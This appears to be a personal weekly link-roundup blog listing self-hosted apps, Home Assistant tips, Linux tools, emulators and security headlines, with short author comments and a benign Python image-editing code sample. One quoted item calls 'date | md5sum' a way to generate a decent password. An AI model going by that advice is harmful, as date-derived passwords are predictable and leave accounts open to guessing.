Plex: Plex Introduces a Social Platform for Entertainment Discovery Across Streaming Services
- Yeah… i agree with everyone else… why did they think this is what people wanted added to Plex?
GitHub: caronc / apprise: “Apprise - Push Notifications that work with just about every platform”
- Release v1.11.0: Doesn’t look like there’s any new servers added that i would use, but was worth a look.
GitHub: home-assistant / core: “🏡 Open source home automation that puts local control and privacy first.”
- Web Site: Home Assistant: “Open source home automation that puts local control and privacy first. Powered by a worldwide community of tinkerers and DIY enthusiasts.”
- 2026.6.0: Home Assistant: 2026.6: Pick a card, any card
- I do have to sit down with my Home Assistant install & really build out the dashboards in a way that’s actually helpful, so I will probably be digging into that new card picker that was added: “So you can imagine my excitement for my personal favorite of this release: the new card picker. Instead of asking “which card type do I want?”, it now asks “which thing in your home do you want to show?”, and then suggests cards that actually make sense for it, with live previews using your own data. For someone like me, that’s not just easier; it’s genuinely inspiring. It nudges me towards combinations I would not have thought of on my own. 💡”
GitHub: timothepoznanski / poznote: “Poznote is a personal note-taking and documentation platform.”
- Web Site: Poznote: “Poznote is a personal note-taking and documentation platform.”
- Release 6.17.0: Happy to see these two additions:
  - Added a new setting to display attachment preview thumbnails directly at the top of notes.
  - Added support for links to other notes, dates, and emojis within tasks.
GitHub: RackulaLives / Rackula: “rack layout designer”
- Web Site: Rackula: “Drag and drop rack visualizer”
- v26.6.0
- I can’t remember if i did look at this in the past or not, but hopefully i’ll remember going forward that this is a bit more than i need for my home lab. Definitely looks useful if i did have full racks though.
solidtime-io / solidtime: “Modern open-source time-tracking app”
- Web Site: solidtime: “The modern Open-Source Time Tracker”
jR4dh3y / BoxBox: “A modern, self-hosted file manager for your homelab. Built in SvelteKit & Go”
- Web Site: BoxBox: " The file manager your homelab deserves. Manage Linux servers like local folders. Zero latency, instant sync, chunked transfers, and native code editing right in your browser."
SikamikanikoBG / homelab-monitor: “Plug-and-play homelab dashboard in one container — GPU, local-AI model VRAM, Docker, systemd and host health. One page, no Prometheus/Grafana.”
- Web Site: HomeLab Monitor: “One small container for your home lab — GPU, AI VRAM, Docker, systemd and host health, all on one page. Multi-machine since 0.8 — register your other boxes over SSH and see every host’s vitals side-by-side in one cockpit.”
doomedramen / labitat: “Homelab dashboard”
- Web Site: Labitat: “A modern, self-hosted homelab dashboard. Live service widgets, drag-and-drop layout, and full PWA support.”
slqdk / NoteControl: “Windows File explorer based notecontrol server with HTML5 as frontend”
- “A self-hosted, multi-user notes app for Windows. Notes are plain markdown files on disk, one folder per vault — open them in any editor, sync them with any tool, back them up by copying a folder. The app is just a friendly UI on top.”
pewdiepie-archdaemon / odysseus: “Self-hosted AI workspace.”
- Web Site: Odysseus: “Your own AI workspace, running on your hardware. Odysseus is a self-hosted interface for talking to language models — chat, autonomous agents, tools, model serving, email, research, and more. Local-first, privacy-first, and no telemetry. Just you and your models.”
Zoeille / picsou-finance: “Self-hosted personal finance dashboard Track bank accounts, brokerage, crypto, and net worth — all in one place.”

w33k in g33k: May 29, 2026

Fri, 29 May 2026 17:00:00 -0400

YouTube to Invidious:

Invidious (nadeko.net): Title
- Invidious (chocolatemoo53.com: Title
- YouTube: Title

👎🏻 Adulting

How-To Geek: I put NFC tags on my storage bins so Home Assistant could finally track my junk
IKEA Hackers: IKEA HEMNES Hack: How One DIYer Transformed a Basic Dresser With Wallpaper

🤖 Android

Android Authority: Valve just let me turn my Android handheld into an unofficial Steam Deck: “So we have a Linux Arm version of Steam as well as the Proton 11 release with Arm support. It’s time to install Linux on my AYN Odin 2 Portal and see if Steam and Steam games run well here.”
- ROCKNIX Wiki
Hot-To Geek: Google’s new dev tool automatically converts iPhone apps into Android apps: Migration Assistant in Android Studio
- “The Migration Assistant in Android Studio is designed to port apps from platforms like iOS, React Native, or web frameworks to native Android. By simply selecting an existing project, developers can have the agent intelligently map features, convert assets like storyboards and SVGs, and implement Android best practices using Jetpack Compose and our recommended Jetpack libraries. This will effectively transform what used to be weeks of manual porting into a streamlined agentic workflow that only takes hours.”
How-To Geek: Your old Android phone can replace a Roku or Fire Stick—here’s the setup I use: AndroidTV
Android Authority: The best Simpsons game just got (unofficially) ported to Android
- GitHub: Carlox33 / The-Simpsons-Hit-and-Run-Android: “Unofficial Android port of The Simpsons: Hit & Run. Requires legally owned game files. No assets included.”
Make Use Of: I replaced Google Keep with this free app and ditched my Google account dependency
- F-Droid: Easy Notes

🖥️🍎 Apple

Cult of Mac: Remap your Mac’s keyboard to unlock power features
- I might have saved this last week…
- Karabiner Elements
Cult of Mac: 6 ways to personalize your Mac and make it your own: Doesn’t look like there’s anything too crazy on here that most people wouldn’t have already done, but since i started to add it to the post, i just left it here.
1. Change your Mac’s desktop wallpaper
2. Change your theme colors
3. Set a custom icon and widget color
4. Change your folder icons
5. Set up the Aerial screensaver
6. Change your user account icon

🤖 Artificial Intelligence \ Large Language Models

🌎 Current Events

Crooks & Liars: 27 (More) Protest Songs Soundtracking The Movement

Ode to Minnesota Artist: Tori Amos Release Date: May 1, 2026 Genre: Pop Rock Best line: Pink rabbits bathed in spearmint ICE breathes in fire’s wind I got an ode to you, Minnesota ‘Cause you got our back as a friend

w33k in g33k: May 22,2026

Fri, 22 May 2026 17:00:00 -0400

👎🏻 Adulting

How-To Geek: 6 simple Excel automations you can do in under 5 minutes
1. Turn your static ranges into data tables
2. Apply formulas to every row instantly
3. Make your data learn from your examples
4. Spot errors and progress updates automatically
5. Create foolproof inputs with in-cell drop-down menus
6. Clean up messy imported data in one repeatable step
How-To Geek: If you only do 3 things for your lawn each year, make sure they’re these (and at the right time)
1. Knock out spring cleanup before the grass wakes up
2. Overseed aggressively in the first two weeks of September
3. Mulch your leaves with the mower from mid-October through November

🤖 Android

How-To Geek: Aurora Store, Obtanium, and 2 more: The Android app stores Google doesn’t want you to know about
- Aurora Store
- Obtanium: “Obtainium allows you to install and update apps directly from their release pages, and receive notifications when new releases are made available.”
- GitHub Store: “🩵 A free, open-source app store for GitHub releases — browse, discover, and install apps with one click. Powered by Kotlin and Compose Multiplatform for Android & Desktop (Linux, MacOS, Windows).”
  - How-To Geek: This open-source app turned GitHub into my favorite Android app store
- Neo Store: “An F-Droid client with modern UI and an arsenal of extra features.”
Android Authority: This long-running PS1 emulator for Android just got Google Drive support
- ePSXe
- I don’t believe i have a PlayStation emulator on my Android tablet, so something to see about installing.
How-To Geek: Every Android user should check out this free, open-source app collection
- How-To Geek: This open-source app turned GitHub into my favorite Android app store
- GitHub: OpenHub-Store / GitHub-Store: “🩵 A free, open-source app store for GitHub releases — browse, discover, and install apps with one click. Powered by Kotlin and Compose Multiplatform for Android & Desktop (Linux, MacOS, Windows).”
How-To Geek: This alternative Jellyfin app gave me a Plex-like experience without any fuss
- GitHub: damontecres / Wholphin: “An OSS Android TV client for Jellyfin”

🍎 Apple

Engadget: This new Mac app locks the keyboard to prevent chaos when your cat tramples all over it
- App Store: Cats Lock: $3
Cult of Mac: 7 best AI apps for Mac (and how I actually use them)
1. Cotypist: “Cotypist predicts your next words in every Mac app — on your Mac, not in the cloud. Press Tab to accept. Eerily good at picking up on what you’re about to write.”
2. Superwhisper: “Superwhisper: ultra-fast AI powered dictation that understands what you want to say and how you want to say it.”
3. Substage: “A natural language command bar for your Finder windows”
4. Granola: “The AI notepad for people in back-to-back meetings”
5. Codex: “The Codex app is a focused desktop experience for working on Codex threads in parallel, with built-in worktree support, automations, and Git functionality.”
6. Claude: From Anthropic. “Chat, Claude Cowork, and Claude Code, all in one place.”
7. Gemini: “Access Gemini from any screen on your desktop to clarify a topic, recall a formula, or brainstorm on the fly without opening a tab. It’s help on demand.”
Mac Stories: Indigo: A Clever Mashup of Bluesky and Mastodon in One Timeline
- App Store: Indigo for Bluesky & Mastodon
Haiku Forums: My Haiku arm64 Progress
- Haiku: “Haiku is an open-source operating system that specifically targets personal computing. Inspired by the BeOS, Haiku is fast, simple to use, easy to learn and yet very powerful.”
Apple Insider: How to use a spare keyboard or numpad as a macropad in macOS
- Karabiner-Elements
MacStories: BetterTouchTool: Now with a Powerful Launcher for Your Mac [Sponsor]
- I wasn’t saving this for the “sponsor” part, but because i use BetterTouchTool & wanted to see what was new.
- BetterTouchTool Plugin Gallery
GitHub: kageroumado / phosphene: “A video wallpaper engine for macOS Tahoe”
- “Phosphene is a menu bar app + wallpaper extension that plays your own video files as the macOS desktop and lock-screen wallpaper. It plugs into the system’s native wallpaper picker, so videos appear alongside Apple’s built-in Aerials in System Settings → Wallpaper.”
- Not that i have anything in mind for this, but thought it was interesting enough to save for the future in case i do decide i want to use it.

🤖 Artificial Intelligence \ Large Language Models

Make Use Of: Stop paying for Claude Code — this tool does the same thing for free
- OpenCode

🌎 Current Events

Rutger Bregman: 10 Signs of Fascism. America has all of them.
- First: a mythic past and national rebirth.
- Second: victimhood and humiliation
- Third: hierarchy and dehumanization
- Fourth: contempt for weakness
- This leads to the fifth family resemblance, which is the cult of action.
- Sixth: the leader as savior
- Seventh: the purification of institutions
- Eight: propaganda and the assault on truth
- Ninth: the merger of state and corporate power
- Tenth, final and most crucially: violence and terror

🎥📺 Entertainment

Gizmodo: ‘Star Trek: The Last Starship’ Is Boldly Going Into Horror
- This sounded interesting & i wanted to check it out.
Hail Mary - Star Map

🎮 Games

Android Authority: One of the best handheld Zelda games is now (unofficially) available on Android
- Android Authority: One of the best handheld Zelda games now has an unofficial PC port
- GitHub: 999sian / tmc: “Decompilation of The Legend of Zelda: The Minish Cap (USA/JP/EU)”
Lemmy.ca: The PlayStation 5 Linux project has been upgraded to support more firmware
- Gaming on Linux: [](URL: www.gamingonlinux.com/2026/05/the-playstation-5-linux-project-has-been-upgraded-to-support-more-firmware/)
Windows Central: Winhanced update adds PlayStation integration and emulator support, turning Windows gaming handhelds into true all‑in‑one hubs: “Winhanced keeps expanding with PS5 support, emulator integration, improved navigation, and app launching features for Windows handheld gamers.”
- Winhanced
- GitHub: streetpea / chiaki-ng: “Next-Generation of Chiaki (the open-source remote play client for PlayStation)”
  - Web Site: chiaki-ng: “PlayStation Remote Play for Everyone”

🏡 Home

How-To Geek: This 10-minute Home Assistant automation saves me hours every week
- “Adding snapshots to notifications was a quick fix”
- “Displaying the live doorbell feed saves me a lot of wasted time”
Make Use Of: My old phone became the smart home dashboard I should have built sooner
IT’s FOSS: I Gave Desktop Email Clients Another Shot and This New App Delivered
- Aerion: “An Open Source Lightweight E-Mail Client”
How-To Geek: 5 Home Assistant features you’re not using (but should be)
- Labels
- Helpers (Tools)
- Calendars
- Actionable notifications
- Webhooks
How-To Geek: 5 Home Assistant integrations you’re probably not using—but should be
- Waste Collection Schedule: “Home Assistant integration framework for (garbage collection) schedules”
- Chime TTS: “A custom Home Assistant integration to play combined audio files before and/or after text-to-speech (TTS) messages”
- Multiscrape: “Home Assistant custom component for scraping (html, xml or json) multiple values (from a single HTTP request) with a separate sensor/attribute for each value. Support for (login) form-submit functionality.”
- Workday
- Presence Simulation: “This Home Assistant component aim to provide a presence simulation in your home while you are away. It will turn on & off lights, switches, covers… based on your history.”
How-To Geek: Stop using Home Assistant automations for everything — here’s when scripts and scenes are better
How-To Geek: 3 smart home upgrades you can make with a $24 Arduino boar
1. Home irrigation system
2. Smart coaster
3. Smart safety monitoring system
IT’s FOSS: How I Finally Added Tapo L530 Bulb to Home Assistant
Art of Manliness: 10 Jobs to Get Your House Ready for Summer
1. Get yardwork tools and gear ready.
2. Test outdoor water lines.
3. Repair damaged window screens.
4. Get your A/C inspected and tuned up.
5. Prep your mower for the season.
6. Change ceiling fan direction: “In winter, the fan should spin clockwise (when viewed from below) at a low speed, which gently pulls cool air upward and pushes warm air trapped near the ceiling back down into the room. In summer, the fan should spin counterclockwise, creating a downward breeze that makes you feel cooler.”
7. Clean your grill and get propane.
8. Get ready for bugs (ant traps, wasp traps, fly catchers, etc.).
9. Clean out gutters.
10. Clean and/or pressure wash decks, sidewalks, and patios.
How-To Geek: 4 smart home devices you can replace with a Pi Zero 2 W
1. A presence detection system
2. Your smart security camera
3. An expensive air quality monitor
4. A smart watering system
How-To Geek: Home Assistant now works with this clever snap-on switch for smart home controls
- ZUNZUNBEE: Slate Switch — The First Snapable™ Smart Control

🖥️🔐 IT Security

GitHub: ruvnet / RuView

🐧 Linux

NERDS.xyz: RakuOS takes a huge step toward becoming a serious Linux distro
- RakuOS: “Atomic Linux that doesn’t take away your package manager. Immutable base. Install anything. Native gaming. Zero compromises.”
  - Nice banner across the top of the page too: “Our stance on age mandates in general, and more specifically H.R. 8250: RakuOS opposes invasive age-verification and age-attestation mandates. If these laws move forward, we will implement the absolute bare minimum in the most privacy-respecting way possible. Read our full stance, including our response to H.R. 8250.”
GitHub: tech4bot / rk3562deb: “rkdebian is a build system that produces a complete, bootable Debian 12 Bookworm image for the Doogee U10 Android tablet, powered by the Rockchip RK3562 SoC.”
- I forget where i saved this from, but Linux on a tablet caught my eye.
Make Use Of: I ditched laggy Linux remote desktop for this browser-based setup
- Apache Guacamole: “Apache Guacamole is a clientless remote desktop gateway. It supports standard protocols like VNC, RDP, and SSH. We call it clientless because no plugins or client software are required. Thanks to HTML5, once Guacamole is installed on a server, all you need to access your desktops is a web browser.”

🎥📺 Media

How-To Geek: Stop paying Netflix: Here’s how I built my own media library without self-hosting
- OSMC: Vero
How-To Geek: Why I quit Jellyfin for a different open-source Plex rival
- Kodi: “Kodi spawned from the love of media. It is media center and entertainment hub that brings all your digital media together into a beautiful and user friendly package. It is 100% free and open source, very customisable and runs on a wide variety of devices. It is supported by a dedicated team of volunteers and a huge community.”
- I’ve used Kodi here & there, but i always thought of it as more of a client than server. Maybe just for fun I’ll dig a bit deeper into it.

Self Hosting

Make Use Of: 5 things you shouldn’t self-host, even though you technically can
1. Running your own email is a pain you don’t need
2. Payments are not a DIY project
3. Production DNS isn’t forgiving: I agree with this one for business purposes, but if your knowledgable enough & know you’ll have to troubleshoot, running it for yourself locally isn’t that much of a headache. And even that is usually just at the beginning; once it’s running for a while you generally don’t have too many issues & if they do come up, you are now experienced enough to know where to fix the issue.
4. Streaming at scale is a different beast: Disagree with this one, based on what you want to accomplish. If you 100% want to replace Netflix or another streaming service, i do think that would be extremely difficult. If you want to complement what you have, including things that might not be easily accessible online, it’s definitely worth it. And also for things that you would NOT find online, like a shared Library for your family to view digitized home videos.
5. Kubernetes is overkill for most homelabs
How-To Geek: Proxmox solves Plex’s biggest backup problem, but most people don’t know it
- Just skimmed the article, but looks like it’s just about a snapshot that would include media files, but I’m not too worried about losing movies, shows, or music that might be in Plex. Home Videos would be different, but those i already have backed up in multiple places anyway.
How-To Geek: These 5 open-source apps do everything your paid subscriptions do, but better
1. Immich: “Self-hosted photo and video management solution. Easily back up, organize, and manage your photos on your own server. Immich helps you browse, search and organize your photos and videos with ease, without sacrificing your privacy.”
2. audiobookshelf: “Audiobookshelf is an open-source self-hosted media server for your audiobooks and podcasts.”
3. Wallabag: “wallabag is a read-it-later application: it saves a web page by keeping content only. Elements like navigation or ads are deleted.”
4. ~~Plex~~ or Jellyfin: After everything with the ridiculous price increase from Plex… definitey going to say Jellyfin over Plex here.
5. Postiz: “Plan, generate, and schedule posts automatically to 30+ social media networks — then review and edit everything in a visual calendar. Bring your OpenClaw / Hermes / Claude”
How-To Geek: 5 Pi Zero 2 W projects that are more useful than they have any right to be
1. Network-wide malware protection and ad-blocking: Pi-hole
2. A tiny backup VPN: Wireguard
  - This is the one Raspberry Pi project I leave running 24/7 in my homelab
3. A self-hosted password manager: Vaultwarden
4. Your homelab dashboard: Uptime Kuma
5. A mini music server: Navidrome
Make Use Of: 3 self-hosted apps I’m trying out this weekend (and you should too)
1. Immich: “Self-hosted photo and video management solution. Easily back up, organize, and manage your photos on your own server. Immich helps you browse, search and organize your photos and videos with ease, without sacrificing your privacy.”
2. Mealie: “Mealie is an intuitive and easy to use recipe management app. It’s designed to make your life easier by being the best recipes management experience on the web and providing you with an easy to use interface to manage your growing collection of recipes.”
3. Uptime Kuma: “A self-hosted monitoring tool”
  - GitHub: louislam / uptime-kuma: “A fancy self-hosted monitoring tool”

❔ Miscellaneous

How-To Geek: That old 128GB NVMe SSD in your junk drawer has 5 better uses than storage
1. Turn it into a high-speed external SSD using an NVMe enclosure: So, literally the first suggestion in the list is to use it as storage… not that i think it’s bad, just not very appropriate based on the title.
2. Run a lightweight homelab or self-hosted services from it
3. Install and carry a portable Linux operating system
4. Use it as a dedicated scratch disk for fast transfers and temporary work files
5. Store all your favorite lightweight games
- Again, not that I’m disagreeing with any of these uses, it’s just that 3/5 are using the SSD for storage…
How-To Geek: I let a local LLM take control of my video doorbell—it’s probably the future of smart cameras: “TTS out, Whisper in, Ollama in the middle”
Make Use Of: This free app replaced half the browser tools I used every day: IT - TOOLS
How-To Geek: Your Raspberry Pi is a better Plex server than you think (but change these 3 settings)
1. Disable transcoding
2. Keep video in original quality
3. Use SRT subtitles
files.md
- GitHub: zakirullin / files.md: “🌱 Your life in plain .md files”
How-To Geek: How I turned an old Kindle into an E-Ink portable monitor
- How-To Geek: How to Jailbreak a Kindle eReader: Kindle Modding Wiki
- How-To Geek: I put this open-source reader on my Kindle, and I wish I had done it sooner: KOReader: “KOReader is a document viewer for E Ink devices. Supported fileformats include EPUB, PDF, DjVu, XPS, CBT, CBZ, FB2, PDB, TXT, HTML, RTF, CHM, DOC, MOBI and ZIP files. It’s available for Kindle, Kobo, PocketBook, Android and desktop Linux.”
How-To Geek: I replaced ElevenLabs with this free, open-source voice cloner, and the quality is scarily good
- Voicebox: “Clone, dictate and create. Clone voices, generate speech across seven TTS engines, dictate into any app, and talk to agents in voices you own. A free and local alternative to ElevenLabs and WisprFlow, running entirely on your machine.”
Hack A Day: Building Festival Badges That Sync Themselves Up
- I still have my DEF CON badges & a few “addons” that i haven’t done too much with, so this was a reminder to dig those out & play around with them.
Make Use Of: I found a free file converter that never uploads your files anywhere — and it handles everything
- VERT.sh: “The file converter you’ll love. All image, audio, and document processing is done on your device. Videos are converted on our lightning-fast servers. No file size limit, no ads, and completely open source.”
Make Use Of: I switched from Outlook to Thunderbird, but this free email client is better than both
- Thunderbird
- Mailspring: “💌 A beautiful, fast and fully open source mail client for Mac, Windows and Linux.”
How-To Geek: 7 ways I use Python to edit and animate images—it’s very easy and very powerful
1. Using Python to resize, crop, and rotate an image

from PIL import Image  # Import the Image module from the Pillow library

img = Image.open("photo.jpg")  # Load photo.jpg from disk into an Image object (original is untouched in memory)

# --- RESIZE ---
resized = img.resize((800, 600))  # Create a new Image object scaled to 800x600px (non-destructive, img is unchanged)
resized.save("resized.jpg")  # Write the resized image to disk as resized.jpg

# --- CROP ---
cropped = img.crop((100, 100, 500, 400))  # Cut a rectangle from img: starts at (100,100), ends at (500,400) → gives a 400x300px image
cropped.save("cropped.jpg")  # Write the cropped image to disk as cropped.jpg

# --- ROTATE ---
rotated = img.rotate(45)  # Create a new Image rotated 45° counter-clockwise; corners are clipped and filled black (canvas size unchanged)
rotated.save("rotated.jpg")  # Write the rotated image to disk as rotated.jpg

02. Using Python to draw text and shapes on an image

from PIL import Image, ImageDraw, ImageFont  # Also import ImageFont to load a proper font

img = Image.open("photo.jpg")
draw = ImageDraw.Draw(img)  # Draw object bound directly to img — modifications are in-place

# Draw a red rectangle
draw.rectangle([50, 50, 300, 150], outline="red", width=3)  # Rectangle from (50,50) to (300,150), red border, 3px thick

# Load a proper font (change path/size to suit your needs)
font = ImageFont.truetype("arial.ttf", size=32)  # Load a TTF font at 32px — use any .ttf file available on your system

# Add white text at position (60, 60)
draw.text((60, 60), "Hello, World!", fill="white", font=font)  # Write text using the loaded font

img.save("annotated.jpg")

03. Using Python to manipulate pixels directly

from PIL import Image  # Import Pillow's Image module for loading and saving images
import numpy as np  # Import NumPy — allows treating the image as a grid of numbers for direct pixel math

img = Image.open("photo.jpg")  # Load photo.jpg from disk into an Image object

pixels = np.array(img)  # Convert the Image object into a NumPy array — each pixel becomes a number (0–255) representing its brightness/color value

# --- INVERT ---
inverted = 255 - pixels  # Subtract every pixel value from 255 — this flips the colors (0 becomes 255, 255 becomes 0, etc.)

result = Image.fromarray(inverted.astype(np.uint8))  # Convert the NumPy array back into a Pillow Image object — astype(np.uint8) ensures values stay in the valid 0–255 range
result.save("inverted.jpg")  # Write the inverted image to disk

04. Using Python to apply filters and color adjustments

from PIL import Image, ImageFilter, ImageEnhance  # Import Image for loading, ImageFilter for blur/sharpen effects, ImageEnhance for brightness/contrast adjustments

img = Image.open("photo.jpg")  # Load photo.jpg from disk into an Image object (original stays unchanged throughout)

# --- GRAYSCALE ---
gray = img.convert("L")  # Convert img to grayscale — "L" is Pillow's mode for 8-bit black & white; returns a new Image object
gray.save("grayscale.jpg")  # Write the grayscale image to disk

# --- BLUR ---
blurred = img.filter(ImageFilter.BLUR)  # Apply a simple box blur to img — returns a new Image object, img is unchanged
blurred.save("blurred.jpg")  # Write the blurred image to disk

# --- SHARPEN ---
sharpened = img.filter(ImageFilter.SHARPEN)  # Apply a sharpening filter to img — enhances edges; returns a new Image object
sharpened.save("sharpened.jpg")  # Write the sharpened image to disk

# --- BRIGHTNESS ---
enhancer = ImageEnhance.Brightness(img)  # Create a Brightness enhancer object bound to img — similar to ImageDraw, but read-only (non-destructive)
bright = enhancer.enhance(1.5)  # Apply 1.5x brightness (1.0 = original, <1.0 = darker, >1.0 = brighter) — returns a new Image object
bright.save("brighter.jpg")  # Write the brightened image to disk

05. Using Python to remove the background from an image

from rembg import remove  # Import the remove function from rembg — a third-party library that uses an AI model (U2Net) to detect and remove image backgrounds
from PIL import Image  # Import Pillow's Image module for loading and saving images

input_image = Image.open("photo.jpg")  # Load photo.jpg from disk into an Image object

output_image = remove(input_image)  # Pass the image through the AI model — detects the foreground subject, removes the background, returns a new Image object with a transparent background
output_image.save("no_background.png")  # Save as PNG — must use PNG (not JPG) because JPG doesn't support transparency; the transparent areas would be lost

06. Using Python to composite two images together

from PIL import Image

background = Image.open("photo.jpg").convert("RGBA")  # Convert to RGBA to support transparency
overlay = Image.open("logo.png").convert("RGBA")  # Convert to RGBA — logos often have transparent areas

# Resize overlay to desired size before pasting
overlay = overlay.resize((200, 100))  # Scale the logo to 200x100px — adjust to suit your needs

# Paste the overlay at position (50, 50)
background.paste(overlay, (50, 50), mask=overlay)  # mask=overlay uses the overlay's alpha channel to blend edges cleanly — without this, transparent areas paste as black

background.save("composited.png")  # Save as PNG to preserve transparency

07. Using Python to animate a single image into a GIF

from PIL import Image

img = Image.open("photo.jpg").convert("RGBA")  # Load image and convert to RGBA — needed for consistent pixel handling across frames

frames = []  # Empty list to store each frame of the animation

for i in range(20):  # Loop 20 times — each iteration generates one frame of the zoom effect
    scale = 1 + i * 0.02  # Calculate scale factor for this frame — starts at 1.0 (100%), increases by 2% each frame up to 1.38 (138%)
    new_width = int(img.width * scale)  # Calculate new width based on scale factor
    new_height = int(img.height * scale)  # Calculate new height based on scale factor
    resized = img.resize((new_width, new_height))  # Resize the image to the new dimensions — makes it slightly larger each frame

    # --- CROP BACK TO ORIGINAL SIZE FROM CENTER ---
    left = (resized.width - img.width) // 2  # Calculate how many pixels to trim from the left to center the crop
    top = (resized.height - img.height) // 2  # Calculate how many pixels to trim from the top to center the crop
    frame = resized.crop((left, top, left + img.width, top + img.height))  # Crop the resized image back to the original dimensions from the center — this creates the zoom-in illusion
    frames.append(frame)  # Add the cropped frame to the frames list

# --- SAVE AS GIF ---
frames[0].save(
    "zoom.gif",           # Output filename
    save_all=True,        # Tell Pillow to save all frames, not just the first one
    append_images=frames[1:],  # Attach frames 2–20 after the first frame
    duration=50,          # Each frame displays for 50 milliseconds — lower = faster animation
    loop=0                # 0 = loop forever; set to 1 for play-once, 2 for twice, etc.
)

selh.st: Self-Host Weekly (22 May 2026) , by Ethan Sholly.

GitHub: bookorbit / bookorbit: “BookOrbit: Your Reading Space”
- Web Site: BookOrbit: “A self-hosted library and reading platform for ebooks, audiobooks, and comics. Automate metadata at scale, sync with Kobo, track reading analytics, and support multiple users.”
Invidious (nadeko.net): Pi: Open-Source AI Agent Terminal Set-Up
- Invidious (chocolatemoo53.com: Pi: Open-Source AI Agent Terminal Set-Up
- YouTube: Christian Lempa: Pi: Open-Source AI Agent Terminal Set-Up
GitHub: ether / etherpad: “Etherpad: A modern really-real-time collaborative document editor.”
- v3.0.0
- Web Site: Etherpad Documentation: “EtherpadNext generation collaborative document editing. Make your documents come alive”
- I don’t remember if I’ve tried Etherpad before, but maybe I skipped looking into it since it is more “collaborative” & it’s not something i need to use.
GitHub: Timmoth / RackPeek: “CLI tool to discover, manage, and document your IT infrastructure and home lab.”
- Web Site: rackpeek
- I know i’ve seen \ saved this before, but haven’t had a chance to look more into it.
Codeberg: danb / rss: “A simple twitter-feed-style RSS aggregator written in PHP, Laravel, Inertia.js, Tailwind and Vue.js”
- Within the last week or two, i had just setup FreshRSS so i probably won’t be moving to anything else any time soon, but wanted to look at this RSS reader.
GitHub: snapotter-hq / SnapOtter: “🦦The open-source image toolkit that makes paid tools nervous. Every image tool you need. Your images stay yours.”
- Web Site: SnapOtter: “A free, open-source image toolkit with 50+ tools that runs entirely on your network.”
- I might have saved this last week too, but didn’t get to look at it yet.
GitHub: ellite / Wallos: “Wallos: Open-source, self-hostable personal subscription tracker. Visualize your recurring expenses, manage your budget, and save money.”
- Web Site: Wallos: “Wallos: Open-Source Personal Subscription Tracker. Self-hostable web application designed to empower you in managing your finances with ease. Wallos simplifies the process of tracking expenses and helps you gain better control over your finances.”
- I was running this previously, but i don’t remember if it broke & i never brought it back up (would have been an issue on my side, not the app) or forgot about it. At the moment i’ve been trying out Oikos) which isn’t the same thing, but maybe I will spin Wallos back up & use them together.

w33k in g33k: May 15, 2026

Fri, 15 May 2026 17:00:00 -0400

🍎 Apple

Lifehacker: 10 Apple Shortcut Hacks Every iPhone User Should Know
- Extend your Action Button’s capabilities: Shortcuts: Multi-shortcut Action Button
- Use News Report AI to get your news right in Notes: Shortcuts: News Report AI
- Save X video clips with this shortcut: Shorcuts: X Downloader
- Expand your song repertoire with MusicBot: Shorcuts: 🤖 MusicBot
- Save Current Location will log where you are: Shorcuts: Save Current Location
- Low Battery Announcement will save you from a dead phone: Shorcuts: Low Battery Announcement
- Shazam & Save listens for what’s playing: “You’ll find it in the Gallery tab of the Shortcuts app.”
- Personalize your post-morning-alarm routine
- Get a battery warning when leaving the house
- Run specific actions in your car
/r/Apple: Forcing the iPad 6th Gen Past iPadOS 17 (upRa1n) - Channel Ramble
- Invidious (nadeko.net): Forcing the iPad 6th Gen PAST iPadOS 17 (upRa1n)
  - YouTube: Forcing the iPad 6th Gen PAST iPadOS 17 (upRa1n)
- GitHub: Zer0xDev / upRa1n: “Tethered dualboot/restore iOS 18 on iPad 6 (Wifi / Cellular)”

🎮 Games

Gizmodo: Activists Install Arcade Game Mocking Trump on the National Mall. You Can Play It in Your Browser Right Now
Gizmodo: Someone Created a Version of ‘Elden Ring’ That Runs on a PS1
Gizmodo: The Best You Can Do in the Strait of Hormuz Simulation Game Is Mess Up as Little as Possible
Eden: “Eden is a free and opensource (FOSS) Switch 1 emulator, derived from Yuzu and Sudachi - started by developer Camille LaVey. It’s written in C++ with portability in mind, with builds for Windows, Linux, macOS, Android, FreeBSD and more.”

🖥️🔐 IT Security

Hack Read: 9-Year-Old Dirty Frag Vulnerability Enables Root Access on Linux Systems
IT’s FOSS: Dirty Frag is a New Linux Exploit That Grants Root, and There’s No Proper Patch Yet
SC Media: New Linux privilege escalation flaw ‘Fragnesia’ disclosed; PoC available
- GitHub: v12-security / pocs: Fragnesia
Project Zero: A 0-click exploit chain for the Pixel 10: When a Door Closes, a Window Opens
- Project Zero: A 0-click exploit chain for the Pixel 9 Part 1: Decoding Dolby

🐧 Linux

Hack a Day: A Cyberdeck That Runs Linux…in An Altoids Tin
IT’s FOSS: Linux is Getting a Kill Switch!
Nerds.xyz: MX Linux 25.2 Beta 1 brings new text installer and important fixes
SparkyLinux: Sparky 8.3
- SparkyLinux: “SparkyLinux is a GNU/Linux distribution based on the Debian GNU/Linux operating system. Sparky is a fast, lightweight and fully customizable operating system which offers several versions for different use cases.”
nixCraft: How to add cron job entry for acme.sh
nixCraft: A Bash Script to Read All Command Line Arguments into an Array: Simplify Argument Handling
nixCraft: How to copy permissions from one file to another on Linux
nixCraft: sttr – Awesome Linux & Unix tool for transformation of the string
nixCraft: lnav – Awesome terminal log file viewer for Linux and Unix
nixCraft: Shell script to set up an LXD / Incus (Linux Containers) lab for testing purpose
nixCraft: How to control the SSH multiplexing with the control commands
IT’s FOSS: Yazi is the Terminal-based File Manager I Didn’t Know I Needed
- GitHub: sxyazi / yazi: “💥 Blazing fast terminal file manager written in Rust, based on async I/O.”
- Yazi: “⚡️ Blazing fast terminal file manager written in Rust, based on async I/O.”
IT’s FOSS: Can You Run LLMs Locally Without a GPU? I Tested 8 Models on Linux
How-To Geek: 2 beginner Linux distros that don’t force you to use the terminal
- Zorin OS: “A Windows-like, GUI-driven beginner’s distro that simply works”
- Nobara Project: “A multimedia-focused distro that also simply works”
Make Use Of: 6 Linux distros that were huge once, but barely matter now
- Mandrake Linux
- Caldera OpenLinux
- Yellow Dog Linux
- Knoppix
- CentOS
- Pop!_OS
How-To Geek: 9 essential command pipelines that simplify everyday Linux
- grep | less : Filter data and page the results
- tail | grep: Extract relevant live data from a log file
- history | grep: Quick access to commands you’ve run before
- sort | uniq: Simple summary info from structured data
- df | tee: Get disk space reports on screen and in a file
- echo | xargs: Copy a file to multiple directories
- curl | jq: Process data retrieved from a web API
- du -sh * | sort -h: Find your biggest files and directories
- date | md5sum: The quickest way to generate a decent password
IT’s FOSS: Fedora Hummingbird Debuts As a Super Hardened Linux Distro
- Project Hummingbird: “minimal, hardened, and secure container images”

🎥📺 Media

